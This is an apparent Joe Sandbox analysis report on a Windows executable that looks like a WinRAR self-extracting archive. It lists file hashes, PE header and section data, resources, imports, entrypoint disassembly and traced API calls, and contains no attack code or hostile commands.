SHA1:	0cbfb5efe558a632fa1de3861c3b87389c987035
SHA256:	659abb39eec218de66e2c1d917b22149ead7b743d3fe968ef840ef22318060fd
SHA512:	38b767f85887d6f26dac90733f0a0d9e89df3cde2c3d084cab34a6bd7e9a002acd84b0261becd3c5078846e29544b7f7ad4ad96df364c8c9eeba1bd97c9321c5
SSDEEP:	6144:ntH/xNLaAOvIBd7lAAxWS1elIoSN6WX+t45qxN7M:ntH5NLaAdDhAAEIFcWX+t4oxNQ
TLSH:	7D74B00276C185B2D57328331A35AF20B67D7C301F768EDB9394695EDE321C09A36BA7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............w...w...w..<.V..w..<.T..w..<.U..w....Z..w.......w.......w.......w....$..w....4..w...w...v.......w.......w....X..w.......w.

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x420780
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6474CCD4 [Mon May 29 16:03:32 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	0ae9e38912ff6bd742a1b9e5c003576a

Entrypoint Preview

Instruction
call 00007FD2BCBA2FDBh
jmp 00007FD2BCBA298Dh
int3
int3
int3
int3
int3
int3
push 00423A80h
push dword ptr fs:[00000000h]
mov eax, dword ptr [esp+10h]
mov dword ptr [esp+10h], ebp
lea ebp, dword ptr [esp+10h]
sub esp, eax
push ebx
push esi
push edi
mov eax, dword ptr [004407A8h]
xor dword ptr [ebp-04h], eax
xor eax, ebp
push eax
mov dword ptr [ebp-18h], esp
push dword ptr [ebp-08h]
mov eax, dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFEh
mov dword ptr [ebp-08h], eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FD2BCB95821h
push 0043D14Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FD2BCBA5635h
int3
jmp 00007FD2BCBA7508h
push ebp
mov ebp, esp
and dword ptr [00463D58h], 00000000h
sub esp, 24h
or dword ptr [004407A0h], 01h
push 0000000Ah
call dword ptr [004341C4h]
test eax, eax
je 00007FD2BCBA2CC2h
and dword ptr [ebp-10h], 00000000h
xor eax, eax
push ebx
push esi
push edi
xor ecx, ecx
lea edi, dword ptr [ebp-24h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3e380	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e3b4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x66000	0xdff8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x74000	0x23dc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3c1b0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x366a8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x34000	0x278	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3d85c	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x32dbc	0x32e00	59fca22eb14bf065790ccabf936fb764	False	0.5921807816339066	data	6.705384121865264	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x34000	0xb1d0	0xb200	3d7416119125f570d6c385b5ba208d7a	False	0.46034497893258425	data	5.270635796862559	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x40000	0x24750	0x1200	edc39ed5cd62e969c2b4607a1a95cf98	False	0.4058159722222222	data	4.083550519415643	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x65000	0x1a4	0x200	185ed7102f068a73891dd850643e3d14	False	0.46484375	data	3.50335535460232	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x66000	0xdff8	0xe000	699399d7d2e63f9a36984a221fc02f75	False	0.6373465401785714	data	6.63871928699419	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x74000	0x23dc	0x2400	539b0c53eda4d1d9ffe2e69d5037d71f	False	0.7864583333333334	data	6.678617573231213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x66650	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x67198	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x68748	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.47832369942196534
RT_ICON	0x68cb0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.5410649819494585
RT_ICON	0x69558	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.4933368869936034
RT_ICON	0x6a400	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	English	United States	0.5390070921985816
RT_ICON	0x6a868	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	English	United States	0.41393058161350843
RT_ICON	0x6b910	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	English	United States	0.3479253112033195
RT_ICON	0x6deb8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9809269502193401
RT_DIALOG	0x72588	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x72358	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x72498	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x72228	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0x71ef0	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x71c98	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x72f68	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x73150	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x73320	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x734d8	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x73620	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x73a90	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x73bf8	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x73d50	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x73e60	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x73f20	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0x71c30	0x68	data	English	United States	0.7019230769230769
RT_MANIFEST	0x72810	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, GetCurrentProcessId, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetTimeFormatW, GetDateFormatW, LocalFree, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapReAlloc, HeapAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	09:41:20
Start date:	30/09/2024
Path:	C:\Users\user\Desktop\MpkkG8XzhJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MpkkG8XzhJ.exe"
Imagebase:	0xb0000
File size:	344'623 bytes
MD5 hash:	51570F6E590151159F4761E2FB4ECD60
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.9%
Total number of Nodes:	1549
Total number of Limit Nodes:	45

Executed Functions

Function 000CF04C Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 202
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C1B7C: GetModuleHandleW.KERNEL32(kernel32), ref: 000C1B95
Part of subcall function 000C1B7C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 000C1BA7
Part of subcall function 000C1B7C: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 000C1BD8

Part of subcall function 000CB64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 000CB655

Part of subcall function 000CBD0B: OleInitialize.OLE32(00000000), ref: 000CBD24
Part of subcall function 000CBD0B: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 000CBD5B
Part of subcall function 000CBD0B: SHGetMalloc.SHELL32(000FA460), ref: 000CBD65

GetCommandLineW.KERNEL32 ref: 000CF08B
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 000CF0B5
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007402), ref: 000CF0C6
UnmapViewOfFile.KERNEL32(00000000), ref: 000CF117

Part of subcall function 000CED1E: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 000CED34
Part of subcall function 000CED1E: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 000CED70

Part of subcall function 000C074B: _wcslen.LIBCMT ref: 000C076F

CloseHandle.KERNEL32(00000000), ref: 000CF11E
GetModuleFileNameW.KERNEL32(00000000,00110CC0,00000800), ref: 000CF138
SetEnvironmentVariableW.KERNEL32(sfxname,00110CC0), ref: 000CF144
GetLocalTime.KERNEL32(?), ref: 000CF14F
_swprintf.LIBCMT ref: 000CF18E
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 000CF1A3
GetModuleHandleW.KERNEL32(00000000), ref: 000CF1AA
LoadIconW.USER32(00000000,00000064), ref: 000CF1C1
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001C9C0,00000000), ref: 000CF212
Sleep.KERNEL32(?), ref: 000CF240
DeleteObject.GDI32 ref: 000CF279
DeleteObject.GDI32(?), ref: 000CF289
CloseHandle.KERNEL32 ref: 000CF2CC

Strings

winrarsfxmappingfile.tmp, xrefs: 000CF0A9
sfxname, xrefs: 000CF13F
sfxstime, xrefs: 000CF19E
STARTDLG, xrefs: 000CF207
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 000CF17F

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf_wcslen
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3014515783-3710569615
Opcode ID: de4c71dc30ef8620f11b87f8e9f31ff32bf2a3c9ce63e0c34b4f6e84ac67de50
Instruction ID: 59fafb8c3a1e56e98d619765046e4759a86da351439f94b843792f541fbfba2e
Opcode Fuzzy Hash: de4c71dc30ef8620f11b87f8e9f31ff32bf2a3c9ce63e0c34b4f6e84ac67de50
Instruction Fuzzy Hash: EB610A71900341BBD310ABA1EC49FFF7BEDAB45744F04406EF645A6292DB789D84CBA2

Function 000CB6C2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,000CC91D,00000066), ref: 000CB6D5
SizeofResource.KERNEL32(00000000,?,?,?,000CC91D,00000066), ref: 000CB6EC
LoadResource.KERNEL32(00000000,?,?,?,000CC91D,00000066), ref: 000CB703
LockResource.KERNEL32(00000000,?,?,?,000CC91D,00000066), ref: 000CB712
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,000CC91D,00000066), ref: 000CB72D
GlobalLock.KERNEL32(00000000), ref: 000CB73E
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 000CB762
GlobalUnlock.KERNEL32(00000000), ref: 000CB7C6

Part of subcall function 000CB626: GdipAlloc.GDIPLUS(00000010), ref: 000CB62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 000CB7A7
GlobalFree.KERNEL32(00000000), ref: 000CB7CD

Strings

PNG, xrefs: 000CB6C6

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: 5d55b9f1886a2720e003844bf9f69d219d7f50f209290a62c9369d3689afb68f
Instruction ID: a2b62d7abec444a87b5c42ab07772c96169dc65dc219dec40650cffef0975594
Opcode Fuzzy Hash: 5d55b9f1886a2720e003844bf9f69d219d7f50f209290a62c9369d3689afb68f
Instruction Fuzzy Hash: 02317071604302ABE7109F61EC89E2F7FA9EF84B91B05061DFD05D6661EB35DC50DBA0

Function 000BBA94 Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNEL32(?,?,?,?,?,?,000BB98B,000000FF,?,?), ref: 000BBABD

Part of subcall function 000BCF32: _wcslen.LIBCMT ref: 000BCF56

FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,000BB98B,000000FF,?,?), ref: 000BBAEB
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,000BB98B,000000FF,?,?), ref: 000BBAF7
FindNextFileW.KERNEL32(?,?,?,?,?,?,000BB98B,000000FF,?,?), ref: 000BBB21
GetLastError.KERNEL32(?,?,?,?,000BB98B,000000FF,?,?), ref: 000BBB2D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: cbc24d910dfea7f74d13942dc67a080cf5a035580f62513fc87b972644d13697
Instruction ID: a8f553e179648c525199967f667bcb6843b2bf1d157654c61a419c52e731b67c
Opcode Fuzzy Hash: cbc24d910dfea7f74d13942dc67a080cf5a035580f62513fc87b972644d13697
Instruction Fuzzy Hash: 13415E72900559ABCB25DF68CC94EEDB3B8FB48350F1005AAE56EE3201D7B46E94CF90

Function 000B92C6 Relevance: 4.7, APIs: 1, Strings: 1, Instructions: 1157COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000B92CB

Part of subcall function 000BD656: _wcsrchr.LIBVCRUNTIME ref: 000BD660

Part of subcall function 000BCAA0: _wcslen.LIBCMT ref: 000BCAA6

Part of subcall function 000C1900: _wcslen.LIBCMT ref: 000C1906

Part of subcall function 000BB5D6: _wcslen.LIBCMT ref: 000BB5E2
Part of subcall function 000BB5D6: __aulldiv.LIBCMT ref: 000BB60E
Part of subcall function 000BB5D6: GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,?,?,00000800,?), ref: 000BB615
Part of subcall function 000BB5D6: _swprintf.LIBCMT ref: 000BB640
Part of subcall function 000BB5D6: _wcslen.LIBCMT ref: 000BB64A
Part of subcall function 000BB5D6: _swprintf.LIBCMT ref: 000BB6A0
Part of subcall function 000BB5D6: _wcslen.LIBCMT ref: 000BB6AA

Part of subcall function 000B4727: __EH_prolog.LIBCMT ref: 000B472C

Part of subcall function 000BA212: __EH_prolog.LIBCMT ref: 000BA217

Part of subcall function 000BB8E6: SetFileAttributesW.KERNEL32(?,00000000,00000001,?,000BB5B5,?,?,?,000BB405,?,00000001,00000000,?,?), ref: 000BB8FA
Part of subcall function 000BB8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,000BB5B5,?,?,?,000BB405,?,00000001,00000000,?,?), ref: 000BB92B

Strings

__tmp_reference_source_, xrefs: 000B9596

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _wcslen$H_prolog$AttributesFile_swprintf$CurrentProcess__aulldiv_wcsrchr
String ID: __tmp_reference_source_
API String ID: 70197177-685763994
Opcode ID: d21cfc374893efc4ef95636e20a4651011e1f1046e4491f9f04d8a11a1251800
Instruction ID: 9ade0926ed9749e1a2b1292a4d633a353bcc6ceb8cabe06cbb81a3bad641c7fb
Opcode Fuzzy Hash: d21cfc374893efc4ef95636e20a4651011e1f1046e4491f9f04d8a11a1251800
Instruction Fuzzy Hash: 8BA2F871A04245AEDF65DF64C895BFEBBF4BF05300F0841B9EA499B243DB349A44CBA1

Function 000D91A0 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,000D9176,?,000ED570,0000000C,000D92CD,?,00000002,00000000), ref: 000D91C1
TerminateProcess.KERNEL32(00000000,?,000D9176,?,000ED570,0000000C,000D92CD,?,00000002,00000000), ref: 000D91C8
ExitProcess.KERNEL32 ref: 000D91DA

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 86420125a52c4dc5f8de47de534bc4b6a8f4bfe2b8ad46210b29b6efc8d94a72
Instruction ID: fdd141ce47e840809e994bd6ae2111c2fb41d6f1c379228a45ec97756a313062
Opcode Fuzzy Hash: 86420125a52c4dc5f8de47de534bc4b6a8f4bfe2b8ad46210b29b6efc8d94a72
Instruction Fuzzy Hash: 37E04636000248ABDF116FA0DD48A987B7AEB80741B004425F9089A222CB39DD82CA60

Function 000CB0BE Relevance: 3.1, APIs: 2, Instructions: 77comCOMMON

Download Yara Rule

APIs

CLSIDFromString.COMBASE(?,?), ref: 000CB0CF
CoCreateInstance.COMBASE(?,00000000,00000005,000E64FC,?), ref: 000CB0E6

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: CreateFromInstanceString
String ID:
API String ID: 432265043-0
Opcode ID: 0319f1c5f2fc55088c63e350967d8ab8575af5015931ee68b2ee571c150ee1c3
Instruction ID: 636b33b10a16ea4301b2e4d5cd202a873a068e5d123fa79155b2d0e489cb281e
Opcode Fuzzy Hash: 0319f1c5f2fc55088c63e350967d8ab8575af5015931ee68b2ee571c150ee1c3
Instruction Fuzzy Hash: C5213C75A00514EFEB04DF68DC99D9E7BB9EF48745B00005AFA06EB260DB71AD42CF90

Function 000CB080 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 000CB098
NtdllDefWindowProc_W.NTDLL(?,?,?,?), ref: 000CB0B3

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Window$LongNtdllProc_
String ID:
API String ID: 2044268144-0
Opcode ID: a7a39acfdf646812953a98cd49a75f851f5ab866b96511b8d06acdb7608423e5
Instruction ID: 031e4a49fe7ef5745a71d4e34a21f9ab462aab703b5824d1ba1a44ec7bbe2281
